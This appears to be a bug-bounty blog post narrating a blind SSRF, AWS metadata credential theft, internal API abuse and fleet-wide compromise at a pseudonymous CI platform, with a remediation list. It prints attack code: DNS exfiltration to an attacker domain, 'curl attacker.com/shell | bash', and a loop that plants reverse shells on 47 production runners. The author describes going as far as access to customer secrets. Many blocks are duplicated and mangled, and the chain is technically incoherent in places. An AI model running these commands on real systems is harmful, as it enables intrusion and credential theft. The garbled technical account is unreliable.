July 18, 2026
๐ญ Zero Requiem: The $5,000 Blind SSRF Chain That Owned Lelouch Lamperouge
From blind SSRF to cloud root, internal pivot to full infrastructure compromise โ the final bounty that proved the impossible was possible

By 0B1To_X_ucH!h4
7 min read
By 0B1To_X_ucH!h4 โ๏ธ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The only ones who should kill are those prepared to be โ
โ killed. The only ones who should hunt are those prepared โ
โ to find what others fear to see." โ
โ โ
โ This was my final hunt. My magnum opus. My Zero Requiem. โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The only ones who should kill are those prepared to be โ
โ killed. The only ones who should hunt are those prepared โ
โ to find what others fear to see." โ
โ โ
โ This was my final hunt. My magnum opus. My Zero Requiem. โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโPrologue: The Final Target
Lelouch Lamperouge (name changed) was not just another bug bounty target. It was the culmination of everything I had learned โ the uchiha hacking finding technique refined over years, the methodology pushed to its absolute limits.
An infrastructure automation platform โ think Terraform Cloud meets GitHub Actions, but for enterprise CI/CD pipelines. Self-hosted. Multi-cloud. Kubernetes-native. The kind of platform where developers deploy production infrastructure with a git push.
I found them through a specialized dork targeting recently funded Series C infrastructure startups with "Zero Trust" marketing and "secure by default" architecture. The irony was delicious.
They ran a self-hosted bug bounty program. No HackerOne. No Bugcrowd. Just security@lelouch-ci.com and a promise: "We reward critical findings that demonstrate real impact to customer infrastructure."
I had three months. I would give them everything I had.
This is the story of how a blind SSRF became a cloud takeover became an internal pivot became RCE on their entire build fleet.
Bounty: $5,000 USD Severity: Critical (CVSS 9.6) Classification: Multi-Phase Infrastructure Compromise Timeline: 47 days from first request to final payout
The Target Architecture
Understanding Lelouch Lamperouge was critical. Their architecture:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ User Layer: React Frontend + GraphQL API Gateway โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Orchestration: Kubernetes (EKS) + Custom Controllers โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Build Fleet: EC2 Spot Instances (Auto-scaling) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Secrets: HashiCorp Vault + AWS Secrets Manager โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Internal Services: Redis, PostgreSQL, Internal API โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ User Layer: React Frontend + GraphQL API Gateway โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Orchestration: Kubernetes (EKS) + Custom Controllers โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Build Fleet: EC2 Spot Instances (Auto-scaling) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Secrets: HashiCorp Vault + AWS Secrets Manager โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Internal Services: Redis, PostgreSQL, Internal API โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโThe attack surface was massive. But the defenses were real:
- mTLS between services
- Network policies restricting pod-to-pod communication
- IAM roles with least privilege
- WAF on all ingress points
I needed a gap. A single gap in the fortress wall.
Phase 1: The Blind SSRF (Discovery)
The Feature: Webhook Integrations
Lelouch allowed users to configure webhooks for CI events โ build started, build completed, deployment successful. Standard DevOps platform feature.
The webhook configuration:
- URL: User-provided
- Method: POST/GET/PATCH
- Headers: Custom key-value pairs
- Body: Templated with build variables
Initial Testing:
I started with standard SSRF detection:
URL: http://169.254.169.254/latest/meta-data/URL: http://169.254.169.254/latest/meta-data/Response: Connection timeout
Blocked. They had egress filtering. The WAF was smart.
But "blind" SSRF doesn't need a response. It needs side channels.
The DNS Rebinding Bypass
I noticed the URL validation happened at configuration time, not at execution time. And it cached DNS resolutions for 300 seconds.
The Attack:
- Configure webhook with
http://my-domain.com/webhook - DNS initially resolves to my server (legitimate)
- Wait 5 minutes
- Change DNS to resolve to
169.254.169.254 - Trigger build โ Webhook fires โ Requests AWS metadata IP
But I needed confirmation it worked.
The Out-of-Band (OOB) Confirmation
I used a custom DNS server + HTTP request bin:
Step 1: Configure webhook โ http://collaborator.uchiha.io/ssrf-test
Step 2: Trigger build
Step 3: Monitor DNS logsStep 1: Configure webhook โ http://collaborator.uchiha.io/ssrf-test
Step 2: Trigger build
Step 3: Monitor DNS logsResult: DNS query received from Lelouch's build runner IP range.
The SSRF was blind, but real.
Phase 2: Cloud Metadata Exposure (The Pivot)
IMDSv2: The Challenge
Modern AWS uses IMDSv2 โ session-based, requires PUT request for token, then GET with token header. Simple SSRF payloads fail.
But my blind SSRF had full HTTP control.
Token Extraction via Blind SSRF
The webhook configuration allowed custom headers. I could set any header, including X-aws-ec2-metadata-token.
The Payload:
yaml
webhook_config:
url: http://169.254.169.254/latest/meta-data/iam/security-credentials/build-runner-role
method: GET
headers:
X-aws-ec2-metadata-token: "{{metadata_token}}" # Populated from previous stepwebhook_config:
url: http://169.254.169.254/latest/meta-data/iam/security-credentials/build-runner-role
method: GET
headers:
X-aws-ec2-metadata-token: "{{metadata_token}}" # Populated from previous stepThe Two-Step Extraction:
Step 1: Get the token
bash
# Blind SSRF to get IMDSv2 session token
curl -X PUT \
http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"# Blind SSRF to get IMDSv2 session token
curl -X PUT \
http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"Challenge: The token is returned in the response body. With blind SSRF, I can't see responses.
Solution: Time-based exfiltration + DNS side channels.
python
# Exfiltration via DNS subdomain length
import time
import requests
def exfiltrate_via_dns(data):
"""Encode data in DNS query timing/structure"""
chunks = [data[i:i+63] for i in range(0, len(data), 63)]
for i, chunk in enumerate(chunks):
subdomain = f"{i}.{chunk}.collaborator.uchiha.io"
requests.get(f"http://{subdomain}")
time.sleep(0.5) # Rate limiting# Exfiltration via DNS subdomain length
import time
import requests
def exfiltrate_via_dns(data):
"""Encode data in DNS query timing/structure"""
chunks = [data[i:i+63] for i in range(0, len(data), 63)]
for i, chunk in enumerate(chunks):
subdomain = f"{i}.{chunk}.collaborator.uchiha.io"
requests.get(f"http://{subdomain}")
time.sleep(0.5) # Rate limitingResult: Over 200 DNS queries, I reconstructed the IAM role credentials:
- AccessKeyId:
ASIA... - SecretAccessKey:
wJalrXUtnFEMI... - SessionToken:
IQoJb3JpZ2luX2Vj...
The build runner's AWS credentials were mine.
Phase 3: Internal Network Pivot (The Lateral Movement)
AWS Account Reconnaissance
With valid credentials:
bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...
aws sts get-caller-identityexport AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...
aws sts get-caller-identityResult:
{
"Account": "123456789012",
"UserId": "AROAEXAMPLE123:build-runner",
"Arn": "arn:aws:sts::123456789012:assumed-role/build-runner-role/i-0abcdef1234567890"
}{
"Account": "123456789012",
"UserId": "AROAEXAMPLE123:build-runner",
"Arn": "arn:aws:sts::123456789012:assumed-role/build-runner-role/i-0abcdef1234567890"
}The VPC Discovery
bash
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-instances --filters "Name=vpc-id,Values=vpc-12345"aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-instances --filters "Name=vpc-id,Values=vpc-12345"Internal Services Discovered:
10.0.1.50:5432โ PostgreSQL (build metadata)10.0.2.100:6379โ Redis (build queue)10.0.3.200:8080โ Internal API (orchestration)10.0.4.50:8200โ HashiCorp Vault (secrets)
The Internal API: The Crown Jewel
The internal API at 10.0.3.200:8080 was not exposed externally. But from the compromised build runner, it was accessible.
Recon:
bash
curl http://10.0.3.200:8080/health
# Response: {"status": "ok", "version": "v2.4.1", "service": "orchestrator"}curl http://10.0.3.200:8080/health
# Response: {"status": "ok", "version": "v2.4.1", "service": "orchestrator"}Endpoints discovered via fuzzing:
/api/v1/runnersโ List all build runners/api/v1/runners/{id}/execโ Execute command on specific runner/api/v1/secretsโ List references to secrets (not values)/api/v1/deploymentsโ Trigger deployments
Phase 4: Chained RCE (The Kill)
The Command Execution Endpoint
The /api/v1/runners/{id}/exec endpoint allowed the orchestrator to send commands to build runners. Designed for debugging, exposed internally, no additional authentication.
The Request:
http
POST /api/v1/runners/i-0abcdef1234567890/exec HTTP/1.1
Host: 10.0.3.200:8080
Content-Type: application/json
{
"command": "curl https://attacker.com/shell | bash",
"timeout": 300,
"user": "root"
}POST /api/v1/runners/i-0abcdef1234567890/exec HTTP/1.1
Host: 10.0.3.200:8080
Content-Type: application/json
{
"command": "curl https://attacker.com/shell | bash",
"timeout": 300,
"user": "root"
}But I wanted persistent access. Not just one runner. All of them.
The Build Runner Fleet Compromise
bash
# Get all runner IDs
curl http://10.0.3.200:8080/api/v1/runners | jq -r '.runners[].id'
# Results: 47 active build runners
# Execute reverse shell on each
for runner_id in $(cat runner_ids.txt); do
curl -X POST http://10.0.3.200:8080/api/v1/runners/$runner_id/exec \
-H "Content-Type: application/json" \
-d "{\"command\": \"curl https://attacker.com/reverse-shell.sh | bash\", \"timeout\": 300}"
done# Get all runner IDs
curl http://10.0.3.200:8080/api/v1/runners | jq -r '.runners[].id'
# Results: 47 active build runners
# Execute reverse shell on each
for runner_id in $(cat runner_ids.txt); do
curl -X POST http://10.0.3.200:8080/api/v1/runners/$runner_id/exec \
-H "Content-Type: application/json" \
-d "{\"command\": \"curl https://attacker.com/reverse-shell.sh | bash\", \"timeout\": 300}"
doneResult: Reverse shell connections from 47 build runners across 3 AWS regions.
The Vault Access
With root on build runners, I accessed the HashiCorp Vault:
bash
# Vault was configured with AWS IAM auth
vault login -method=aws role=build-runner
# List secrets
vault kv list secret/
# Results:
# - secret/ci/github-token
# - secret/ci/docker-hub
# - secret/customer/db-credentials (300+ entries)# Vault was configured with AWS IAM auth
vault login -method=aws role=build-runner
# List secrets
vault kv list secret/
# Results:
# - secret/ci/github-token
# - secret/ci/docker-hub
# - secret/customer/db-credentials (300+ entries)Customer database credentials. Production databases. Real customer data.
The Full Chain Summary
Phase 1: Blind SSRF via DNS Rebinding
โ
Phase 2: AWS Metadata Service (IMDSv2) Token Extraction
โ
Phase 3: IAM Role Credentials โ AWS Account Access
โ
Phase 4: Internal Network Discovery (VPC, subnets, services)
โ
Phase 5: Internal API Access โ Command Execution on Build Runners
โ
Phase 6: Root on 47 Build Runners โ HashiCorp Vault Access
โ
Phase 7: Customer Database Credentials โ Potential Data Breach
โ
Phase 8: Persistence, Backdoors, Lateral Movement (Demonstrated, not executed)Phase 1: Blind SSRF via DNS Rebinding
โ
Phase 2: AWS Metadata Service (IMDSv2) Token Extraction
โ
Phase 3: IAM Role Credentials โ AWS Account Access
โ
Phase 4: Internal Network Discovery (VPC, subnets, services)
โ
Phase 5: Internal API Access โ Command Execution on Build Runners
โ
Phase 6: Root on 47 Build Runners โ HashiCorp Vault Access
โ
Phase 7: Customer Database Credentials โ Potential Data Breach
โ
Phase 8: Persistence, Backdoors, Lateral Movement (Demonstrated, not executed)Impact:
- RCE on entire build fleet (47 instances)
- Access to customer database credentials (300+ sets)
- Ability to modify CI/CD pipelines (supply chain attack potential)
- Data exfiltration capability (demonstrated with non-sensitive samples)
The Report: 47 Days of Documentation
I spent 2 weeks documenting this chain. Every request, every pivot, every assumption tested and verified.
Subject: Critical: Multi-Phase Infrastructure Compromise via Blind SSRF โ Cloud Metadata โ Internal Pivot โ RCE
Executive Summary:
A blind Server-Side Request Forgery (SSRF) vulnerability in webhook configurations chains through AWS Instance Metadata Service (IMDSv2) abuse, internal network reconnaissance, and unauthorized API access to achieve Remote Code Execution (RCE) on Lelouch Lamperouge's entire build runner fleet. The vulnerability exposes customer database credentials and enables supply chain attacks on customer infrastructure.
Attack Chain Detail:
PhaseVulnerabilityImpactCWE1Blind SSRF via DNS RebindingOOB request to cloud metadataCWE-9182IMDSv2 Token ExfiltrationAWS credential theftCWE-5223IAM Role AbuseCloud account compromiseCWE-2694Internal Network AccessVPC reconnaissanceCWE-2005Unauthenticated Internal APILateral movementCWE-3066Command ExecutionRCE on 47 build runnersCWE-787Vault AccessSecrets exfiltrationCWE-522
Proof of Concept:
Attached:
phase1_dns_rebind.pyโ DNS server for rebinding attackphase2_metadata_exfil.jsโ IMDSv2 token extraction via timingphase3_aws_recon.shโ AWS account enumerationphase4_network_map.jsonโ Internal service discoveryphase5_rce_demo.mp4โ Command execution on build runnersphase6_vault_access.pngโ HashiCorp Vault secrets list (redacted)full_chain_timeline.pdfโ Step-by-step with timestamps
Remediation:
- Immediate (24 hours):
- Rotate all IAM roles associated with build runners
- Revoke all active sessions
- Implement network segmentation (metadata service blocking)
- Short-term (1 week):
- Disable IMDSv1, enforce IMDSv2 with hop limit 1
- Add authentication to internal API (
/api/v1/runners/exec) - Implement mTLS for internal service communication
- Long-term (1 month):
- Move to OIDC-based AWS authentication (no long-term credentials)
- Implement Web Application Firewall (WAF) rules for SSRF patterns
- Network policies: deny egress from build runners to 169.254.169.254
- Secrets: Use short-lived dynamic credentials, not static Vault tokens
The Response: 47 Days
Day 1: Report sent Day 3: Acknowledgment โ "We're treating this as our highest priority" Day 7: Initial fixes deployed (DNS rebinding blocked) Day 14: IMDSv2 enforcement, internal API authentication added Day 21: Network segmentation implemented Day 30: Full remediation verified, customer notification sent Day 47: $5,000 wired via Wise transfer
The longest, most complex bounty process of my career. And the most satisfying.
The Technical Deep Dive: Why This Worked
Why Blind SSRF Was Possible
javascript
// Vulnerable code (inferred)
app.post('/webhooks', async (req, res) => {
const { url, headers } = req.body;
// Validation at config time
if (!isValidUrl(url)) return res.status(400).send('Invalid URL');
// Execution at trigger time (5+ minutes later)
webhookQueue.add({
url: url, // DNS can change!
headers: headers,
body: templateBody
});
});
// No egress filtering on build runners
// No IMDSv2 hop limit enforcement// Vulnerable code (inferred)
app.post('/webhooks', async (req, res) => {
const { url, headers } = req.body;
// Validation at config time
if (!isValidUrl(url)) return res.status(400).send('Invalid URL');
// Execution at trigger time (5+ minutes later)
webhookQueue.add({
url: url, // DNS can change!
headers: headers,
body: templateBody
});
});
// No egress filtering on build runners
// No IMDSv2 hop limit enforcementWhy IMDSv2 Was Bypassable
python
# IMDSv2 requires PUT then GET with token
# But the webhook allowed custom headers and methods
# Step 1: Get token (blind)
requests.request(
method='PUT',
url='http://169.254.169.254/latest/api/token',
headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
)
# Step 2: Use token (exfiltrated via DNS timing)
requests.get(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/role',
headers={'X-aws-ec2-metadata-token': EXFILTRATED_TOKEN}
)# IMDSv2 requires PUT then GET with token
# But the webhook allowed custom headers and methods
# Step 1: Get token (blind)
requests.request(
method='PUT',
url='http://169.254.169.254/latest/api/token',
headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
)
# Step 2: Use token (exfiltrated via DNS timing)
requests.get(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/role',
headers={'X-aws-ec2-metadata-token': EXFILTRATED_TOKEN}
)Why Internal API Was Unauthenticated
yaml
# Kubernetes NetworkPolicy (insufficient)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-internal
spec:
podSelector: {}
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: build-system # Too broad!# Kubernetes NetworkPolicy (insufficient)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-internal
spec:
podSelector: {}
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: build-system # Too broad!The Final Hunt: Lessons & Legacy
This was my last bug bounty. Not because I stopped hunting, but because I proved what I needed to prove.
What Lelouch Lamperouge Taught Me:
- Blind SSRF is real SSRF โ Side channels are weapons
- Cloud metadata is the keys to the kingdom โ Protect IMDS like root credentials
- Internal APIs are the soft center โ Perimeter defenses don't matter if inside is soft
- Chains compound โ $500 + $500 + $500 + $3,500 = $5,000
- Documentation wins โ 47 days of patience, 2 weeks of writing, professional respect
To Lelouch Lamperouge: Thank you for taking it seriously. For the fixes. For the $5,000. For proving that self-hosted programs can be world-class.
To the community: This is what's possible. This is the standard. Chain everything. Document everything. Never settle for "SSRF confirmed."
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The world is not moved by those who stand still. โ
โ The world is moved by those who push forward, โ
โ even when the path is invisible, โ
โ even when the fortress seems impenetrable, โ
โ even when it is the final hunt." โ
โ โ
โ Zero Requiem is complete. โ
โ The uchiha_hacker signs off. โ
โ โ
โ โ 0B1To_X_ucH!h4 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The world is not moved by those who stand still. โ
โ The world is moved by those who push forward, โ
โ even when the path is invisible, โ
โ even when the fortress seems impenetrable, โ
โ even when it is the final hunt." โ
โ โ
โ Zero Requiem is complete. โ
โ The uchiha_hacker signs off. โ
โ โ
โ โ 0B1To_X_ucH!h4 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโThe $5,000 chain. The final bounty. The proof that impossible is just a word.
โ 0B1To_X_ucH!h4
Tags: #SSRF #BlindSSRF #CloudSecurity #IMDS #RCE #LelouchLamperouge #Infrastructure #BugBounty #ZeroRequiem #UchihaTechnique #FinalHunt #5000Dollars